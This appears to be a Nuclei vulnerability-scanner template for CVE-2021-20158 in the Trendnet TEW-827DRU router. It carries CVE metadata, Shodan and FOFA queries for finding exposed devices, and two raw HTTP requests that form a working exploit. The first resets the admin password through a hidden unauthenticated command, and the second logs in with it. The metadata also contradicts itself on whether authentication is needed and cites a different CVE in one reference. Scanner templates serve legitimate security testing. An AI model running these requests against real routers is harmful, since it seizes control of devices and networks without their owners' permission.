Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change

id: CVE-2021-20158

info:
  name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
  author: gy741
  severity: critical
  description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
  impact: |
    An attacker with authenticated access can gain unauthorized control over the affected device.
  remediation: |
    Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-54
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20150
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20158
    cwe-id: CWE-306
    epss-score: 0.10774
    epss-percentile: 0.95297
    cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: trendnet
    product: tew-827dru_firmware
    shodan-query:
      - http.html:"TEW-827DRU"
      - http.html:"tew-827dru"
    fofa-query: body="tew-827dru"
  tags: cve2021,cve,disclosure,router,intrusive,tenable,trendnet,vuln
variables:
  password: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'setConnectDevice'
          - 'setInternet'
          - 'setWlanSSID'
          - 'TEW-827DRU'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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